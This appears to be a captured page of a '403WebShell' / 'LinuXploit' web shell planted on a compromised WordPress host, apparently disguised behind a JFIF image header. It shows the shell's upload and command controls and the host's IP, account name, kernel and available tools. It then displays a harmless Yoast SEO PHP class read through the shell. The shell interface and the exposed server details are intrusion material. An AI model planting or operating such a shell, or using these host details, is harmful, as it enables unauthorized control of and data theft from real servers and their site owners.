????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.96.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/wordpress-seo/src/dashboard/domain/traffic/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/wordpress-seo/src/dashboard/domain/traffic/traffic-data.php
<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Traffic;

use Yoast\WP\SEO\Dashboard\Domain\Data_Provider\Data_Interface;

/**
 * Domain object that represents a single Traffic record.
 */
class Traffic_Data implements Data_Interface {

	/**
	 * The sessions, if any.
	 *
	 * @var int|null
	 */
	private $sessions;

	/**
	 * The total users, if any.
	 *
	 * @var int|null
	 */
	private $total_users;

	/**
	 * The array representation of this domain object.
	 *
	 * @return array<string, int>
	 */
	public function to_array(): array {
		$result = [];

		if ( $this->sessions !== null ) {
			$result['sessions'] = $this->sessions;
		}

		if ( $this->total_users !== null ) {
			$result['total_users'] = $this->total_users;
		}

		return $result;
	}

	/**
	 * Sets the sessions.
	 *
	 * @param int $sessions The sessions.
	 *
	 * @return void
	 */
	public function set_sessions( int $sessions ): void {
		$this->sessions = $sessions;
	}

	/**
	 * Sets the total users.
	 *
	 * @param int $total_users The total users.
	 *
	 * @return void
	 */
	public function set_total_users( int $total_users ): void {
		$this->total_users = $total_users;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit